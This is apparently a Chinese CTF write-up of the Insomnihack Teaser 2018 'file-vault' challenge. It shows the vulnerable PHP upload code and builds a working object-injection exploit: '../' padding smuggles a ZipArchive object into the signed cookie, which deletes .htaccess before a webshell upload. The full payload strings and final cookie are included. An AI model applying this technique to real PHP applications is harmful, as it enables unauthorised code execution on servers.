insomnihack-teaser-2018/file-vault 学习

队里月赛出了一道前不久insomnihack-teaser-2018的web:file-vault。是道对象注入的题目,我觉得不错,就做一下记录。其实也就是把原wp大致翻译了一下233333

0x00
这题是Insomnihack Teaser 2018的原题,题目的writeup地址自取:
https://corb3nik.github.io/blog/insomnihack-teaser-2018/file-vault

0x01
题目上来是个文件上传的服务,给了源代码upload.php

 <?php

error_reporting(0);
include('secret.php');

$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);

global $sandbox_dir;

function myserialize($a, $secret) {
    $b = str_replace("../","./", serialize($a));
    return $b.hash_hmac('sha256', $b, $secret); 
}

function myunserialize($a, $secret) { 
    if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
        return unserialize(substr($a, 0, -64));
    }
}
   
class UploadFile {

    function upload($fakename, $content) {
        global $sandbox_dir;
        $info = pathinfo($fakename);
        $ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
        file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
        $this->fakename = $fakename;        
        $this->realname = sha1($content).$ext;
    }

    function open($fakename, $realname) {
        global $sandbox_dir;
        $analysis = "$fakename is in folder $sandbox_dir/$realname.";
        return $analysis;
    }
}

if(!is_dir($sandbox_dir)) {
    mkdir($sandbox_dir);
}

if(!is_file($sandbox_dir.'/.htaccess')) {
    file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}

if(!isset($_GET['action'])) {
    $_GET['action'] = 'home';
}

if(!isset($_COOKIE['files'])) {
    setcookie('files', myserialize([], $secret));
    $_COOKIE['files'] = myserialize([], $secret);
}


switch($_GET['action']){
    case 'home':
    default:
        $content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>";
        $files = myunserialize($_COOKIE['files'], $secret);
        if($files) {
            $content .= "<ul>";
            $i = 0;
            foreach($files as $file) {
                $content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>";
                $i++;
            }
            $content .= "</ul>";
        }
        break;
    case 'upload':
        if($_SERVER['REQUEST_METHOD'] === "POST") {
            if(isset($_FILES['file'])) {
                $uploadfile = new UploadFile;
                $uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));
                $files = myunserialize($_COOKIE['files'], $secret);
                $files[] = $uploadfile;
                setcookie('files', myserialize($files, $secret));
                header("Location: index.php?action=home");
                exit;
            }
        }
        break;
    case 'changename':
        if($_SERVER['REQUEST_METHOD'] === "POST") {        
            $files = myunserialize($_COOKIE['files'], $secret);
            if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
                $files[$_GET['i']]->fakename = $_POST['newname'];
            }
            setcookie('files', myserialize($files, $secret));            
        }
        header("Location: index.php?action=home");
        exit;
    case 'open':
        $files = myunserialize($_COOKIE['files'], $secret);
        if(isset($files[$_GET['i']])){
            echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
        }
        exit;
    case 'reset':
        setcookie('files', myserialize([], $secret));
        $_COOKIE['files'] = myserialize([], $secret);
        array_map('unlink', glob("$sandbox_dir/*"));
        header("Location: index.php?action=home");
        exit;
}

这个文件上传通过cookie来保存你上传的文件信息。$_COOKIE['files']的值是个反序列话的数组,数组的每个元素是一个UploadFile对象,保存了一个fakename(你上传的名字,可以修改)和一个realname(hash过的,真实的物理地址)。

这个文件上传一共有五个功能:
home: 通过反序列化cookie的值获得你的上传文件列表,然后显示在前端页面
upload: 上传文件,无过滤
changename: 修改某个已上传文件的fakename,然后重新序列化
open: 输出指定文件的fakename和realname
reset: 清空你的sandbox

UploadFile类就一个上传文件的函数和一个open函数。

class UploadFile {

    function upload($fakename, $content) {
        global $sandbox_dir;
        $info = pathinfo($fakename);
        $ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
        file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
        $this->fakename = $fakename;        
        $this->realname = sha1($content).$ext;
    }

    function open($fakename, $realname) {
        global $sandbox_dir;
        $analysis = "$fakename is in folder $sandbox_dir/$realname.";
        return $analysis;
    }
}

但是因为每次建立sandbox的时候,都会在目录加上一个.htaccess文件来限制php的执行,因此我们无法直接上传shell。

同时由于在序列化和反序列化的时候做了签名,我们也不能直接通过修改cookie的方式来改变对象。

0x02
这道题的破题点在于源码里的myserialize函数。

function myserialize($a, $secret) {
    $b = str_replace("../","./", serialize($a));
    return $b.hash_hmac('sha256', $b, $secret); 
}

这里在序列化对象之前,画蛇添足的加了一个过滤,把../过滤成了./

比如有这么一个序列化后的字符串

a:2:{i:0;s:3:"../";i:1;s:5:"hello";}

在myserialize函数处理后就变成了

a:2:{i:0;s:3:"./";i:1;s:5:"hello";}

那么问题在哪呢??

显而易见的,这个时候在反序列化的时候,php在读取a[0]的值的时候,认为是个3字节的字符串,就把./"当做了值,而从这之后,反序列化肯定就出错了。

那么如果合理控制../的数量,是不是就可以引入一个非法的对象呢。

a:2:{i:0;s:39:"../../../../../../../../../../../../../";i:1;s:20:"A";i:1;s:8:"Injected";}

对于这个序列化的字符串,处理以后

a:2:{i:0;s:39:"./././././././././././././";i:1;s:20:"A";i:1;s:8:"Injected";}

这个时候,s:39对应的字符串变成了./././././././././././././";i:1;s:20:"A

那么我们就把本来不应该有的Injected引入了进来。

0x03
回到题目本身,由于myserialize的问题,如果我们有一个可控点,就可以尝试引入非法的对象。这个可控点就是changename。

changename会修改fakename的值同时重新序列化对象。

假设我们有两个对象A和B。

A中的fakename是若干个../
B中的fakename是满足拼接条件的非法对象,通过重新序列化完全签名以后,我们就能通过反序列化引入非法的对象了。

0x04
最后的问题在于,我们引入一个怎样的对象来达到getshell的目的。因为sandbox下面的.htaccess文件导致我们无法getshell。所以我们只要想办法把.htaccess文件删除就可以了。

Upload类本身没有什么magic函数,可用的只有它的upload和open函数。

这时候就想到一些php带的类里存在的open函数是不是有什么可以利用的点了。

根据wp,发现了ZipArchive::open函数可以完成。

ZipArchive::open的第一个参数是文件名,第二个参数是flags,ZipArchive::OVERWRITE的意思是重写覆盖文件,这个操作会删除原来的文件。

因为UploadFile类的open函数的参数是fakename和realname,fakename对应.htaccess,realname对应flags,这里直接用了ZipArchive::OVERWRITE的integer值9。

0x05
原理大概是这样,然后是payload的构造。

序列化一个ZipArchive类的对象

<?php
$zip = new ZipArchive();
$zip->fakename = "sandbox/7cde76f4236381046a154225000f20658cee136f/.htaccess";
$zip->realname = "9";
echo serialize($zip);

然后随便传一个A和一个B,得到序列化的值

a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:1:"A";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:1:"B";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}}e63b1d808ed7d1bfc9ddc6559bb215ba5d456f9f8419e1eafe66770867e2164b

然后按照前面说的,把B的fakename改成需要构造的ZipArchive的内容

ZipArchive序列化的内容是

i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/badbbce4268ff077941c6a81cc8a5ec2faa73a8f/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"
";}}

因为B本身后面还跟着一个";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt67个无用的字节,所以comment的的长度为67

然后因为A等会吃掉的字符是直接吃到B的位置的,所以前面还需要补一段";s:8:"realname";s:1:"A";}

B的构造的fakename的最终值为

";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/badbbce4268ff077941c6a81cc8a5ec2faa73a8f/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
";}}

然后因为A要吞的部分是

";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:297:"

一共117位,就是A的部分就是 "../"*117

0x06
按照上述步骤修改了B和A(先B后A)以后获得的cookie就是引入了非法对象的cookie了。

a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:351:"./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:297:"";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/7cde76f4236381046a154225000f20658cee136f/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}}1493de201a4cc794a075c78a0aa5b945f5d2a6937c7475708d9bd1a5606496ca

然后就是上传一个小马

调用一下index.php?action=open&i=1以后,就会执行数组中i:1的对象的open函数,即ZipArchive的open函数,成功删除.htaccess文件getshell

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,723评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,485评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,998评论 0 344
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,323评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,355评论 5 374
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,079评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,389评论 3 400
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,019评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,519评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,971评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,100评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,738评论 4 324
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,293评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,289评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,517评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,547评论 2 354
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,834评论 2 345

推荐阅读更多精彩内容

  • pyton review 学习指南 https://www.zhihu.com/question/29138020...
    孙小二wuk阅读 1,039评论 0 2
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,600评论 18 139
  • 从三月份找实习到现在,面了一些公司,挂了不少,但最终还是拿到小米、百度、阿里、京东、新浪、CVTE、乐视家的研发岗...
    时芥蓝阅读 42,192评论 11 349
  • 记录我不扎实的基本功 str()是什么?如果一个类中定义了__str__,当print类的实例的时候,就会执行__...
    Ellis阅读 185评论 0 0
  • 亲爱的朋友, 祝好!今天是周六,昨晚十二点半才到宿舍,匆忙入睡,今早却意外地七点半就醒了。起床的过程痛苦万分,觉...
    居无所处阅读 301评论 0 0